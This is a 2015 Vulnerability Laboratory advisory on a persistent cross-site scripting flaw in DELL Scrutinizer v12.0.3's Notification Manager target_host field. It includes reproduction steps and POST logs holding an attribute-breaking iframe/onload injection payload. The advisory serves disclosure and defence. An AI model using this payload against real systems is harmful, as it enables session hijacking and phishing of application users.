Document Title:
===============
DELL Scrutinizer v12.0.3 - Persistent Software Vulnerability


References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1360

Tracking ID: 15943


Release Date:
=============
2015-12-18


Vulnerability Laboratory ID (VL-ID):
====================================
1360


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
Scrutinizer™ is at the foundation of the Plixer incident response and behavior analysis architecture. It is available as a 
physical or virtual appliance, or as a windows download. Scrutinizer performs the collection, threat detection, and reporting 
of all flow technologies on a single platform. It delivers real-time situational awareness into the applications and their 
historical behaviors on the network. Massive scalability, supporting dozens of distributed collectors, Capable of archiving and 
analyzing several million flows per second, Topology mapping with active links and Deduplication and stitching across collectors.

Dell SonicWALL Scrutinizer enables organizations to achieve uniquely granular, flexible and powerful insight into network 
and application traffic, and it’s compatible with Dell SonicWALL Next-Generation Firewall and third party product exports 
of IPFIX data. Scrutinizer is also useful for reducing troubleshooting time for network performance issues. In addition, 
Scrutinizer users, especially service providers, can take advantage of Scrutinizer to proactively monitor Quality of 
Service (QoS) and generate invoicing data and Service Level Agreement (SLA) metrics reports.

(Copy of the MVendor Homepage: http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html )
(Copy of the Product Homepage: http://www.sonicwall.com/us/en/products/Scrutinizer-Netflow-Analyzer.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent input validation web vulnerability in the official DELL Scrutinizer v12.0.3 Software.


Vulnerability Disclosure Timeline:
==================================
2014-11-24: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security)
2014-12-16: Vendor Notification (DELL Security Team - Scrutinizer)
2015-12-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DELL
Product: Scrutinizer - Appliance Software 12.0.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official DELL Scrutinizer v12.0.3 Software.
The vulnerability allows privileged user accounts and restricted user accounts to inject own malicious script codes to
the application-side of scrutinizer software.

The vulnerability is located in the `target_host` (hostname) input field of the `Admins > Definitions >  Notification Manager` module. 
Attackers are able to inject own script codes by manipulation of the POST method request in the `notification manager`. The attack 
vector of the bug is persistent on the application-side and the request method to inject is POST. The vulnerability is a classic 
input validation POST inject vulnerability. Attackers are also able to force a client-side execution by manipulation of special 
crafted webpage links.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring 
system) count of 3.5. Exploitation of the application-side web vulnerability requires a low privileged web-application user 
account and low or medium user interaction. Successful exploitation of the vulnerability results in persistent phishing mails, 
session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected 
software module context.

Request Method(s):
          [+] POST

Vulnerable Module(s):
          [+] Definitions >  Notification Manager

Vulnerable Parameter(s):
          [+] target_host (hostname - profilname)

Affected Module(s):
          [+] Definitions >  Notification Manager >  Profile Name (Input) (notify.cgi) (http://localhost:8080/)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local restricted user account with access privileges and with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the scrutinizer application
2. Start the service and login to the service
3. Click the admin navigation button and switch to the definitions section were the notification manager module is located
4. Include any random input to the profile name input
Note: Now, the service redirect to the edit mask profile
5. Include in the Host name input field your own script code payload and save via POST method request
6. The code execution occurs in the edit form of the definitions > notification manager module
7. Successful reproduce of the vulnerability in the notify.cgi!


PoC: Admins > Definitions >  Notification Manager >  Profile Name (Input) (notify.cgi)

<tbody><tr><th colspan="2">New Alert Setup
</th></tr><tr><td class=""> Profile Name</td>
<td class=""> test23
<input name="profile_name" id="profile_name" value="test23" type="hidden">
<input name="calling_program" value="logalot" type="hidden">
<input name="add_alert" id="add_alert" value="Syslog" type="hidden">
<input name="edit_alert_id" value="" type="hidden">
<input id="group_id" name="group_id" value="" type="hidden">
<input name="edit_profile" value="0" type="hidden"></td></tr>
<tr><td class="">Host</td><td class=""><input name="target_host" value="" type="TEXT"><[PERSISTENT INJECTED SCRIPT CODE!])" <"="">
<tr><td >UDP Port<TD><INPUT TYPE=TEXT NAME=syslog_port VALUE="514" size=3>
<tr><td >Priority
<TD><SELECT NAME=priority_code>
<OPTION SELECTED>alert
<option>alert
<option>crit
<option>debug
<option>emerg
<option>err
<option>info
<option>notice
<option>warning


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/cgi-bin/notify.cgi 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Größe des Inhalts[1152] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
Accept[text/html, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer
[http://localhost:8080/]
      Content-Length[156]
      Cookie[cookiesenabled=1; userid=1; sessionid=nZHoS6vgaff7txmR; seenEvalModal=1; seenSkinModal=1]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
POST-Daten:
      edit_profile[0]
      profile_name[%22"><[PERSISTENT INJECTED SCRIPT CODE!]+%3C]
      add_alert[Syslog]
      group_id[]
      old_profile_name[]
      action[AddAlert]
      user_id[1]
Response Header:
Date[Mon, 24 Nov 2014 20:57:41 GMT]
      Server[Apache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[1152]
      Keep-Alive[timeout=67, max=23]
      Connection[Keep-Alive]
      Content-Type[text/html]
-
Status: 200[OK] 
POST http://localhost:8080/cgi-bin/notify.cgi 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Größe des Inhalts[1247] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
Accept[text/html, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer
[http://localhost:8080/]
      Content-Length[341]
      Cookie[cookiesenabled=1; userid=1; sessionid=nZHoS6vgaff7txmR; seenEvalModal=1; seenSkinModal=1]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
POST-Daten:
      profile_name[asdsad]
      calling_program[logalot]
      add_alert[Syslog]
      edit_alert_id[]
      group_id[]
      edit_profile[0]
      target_host[%22[PERSISTENT INJECTED SCRIPT CODE!])+%3C+%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22PENTEST%22)+%3C]
      syslog_port[514]
      priority_code[alert]
      facility_code[auth]
      message[%25m]
      minutes_trigger[0]
      action[TestAlert]
      user_id[1]
Response Header:
Date[Mon, 24 Nov 2014 21:00:33 GMT]
      Server[Apache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[1247]
      Keep-Alive[timeout=67, max=79]
      Connection[Keep-Alive]
      Content-Type[text/html]


Reference(s):
http://localhost:8080/cgi-bin/notify.cgi

http://localhost:8080/#tab=tab6&rpt_json={%22reportTypeLang%22%3A%22flowCountByDestination%22%2C%22devicename%22%3A%22Scrutinizer%22%2C%22
deviceip%22%3A%22localhost:8080%22%2C%22reportDirections%22%3A{%22selected%22%3A%22inbound%22}%2C%22times%22%3A{%22dateRange%22%3A%22
LastHour%22%2C%22start%22%3A%22%22%2C%22end%22%3A%22%22}%2C%22filters%22%3A{%22sdfDips_0%22%3A%22in_7F000001_ALL%22}%2C%22
dataGranularity%22%3A{%22selected%22%3A%22auto%22}}&subCat=LogalotPrefs

http://localhost:8080/#tab=tab6&rpt_json={%22reportTypeLang%22%3A%22flowCountByDestination%22%2C%22devicename%22%3A%22Scrutinizer%22%2C%22
deviceip%22%3A%22localhost:8080%22%2C%22reportDirections%22%3A{%22selected%22%3A%22inbound%22}%2C%22times%22%3A{%22dateRange%22%3A%22
LastHour%22%2C%22start%22%3A%22%22%2C%22end%22%3A%22%22}%2C%22filters%22%3A{%22sdfDips_0%22%3A%22in_7F000001_ALL%22}%2C%22
dataGranularity%22%3A{%22selected%22%3A%22auto%22}}&subCat=DataHistory


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the target_host input field.
Restrict the input field and encode the output of the dbms stored values to prevent persistent script code executions.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the target_host is estimated as medium (CVSS 3.5).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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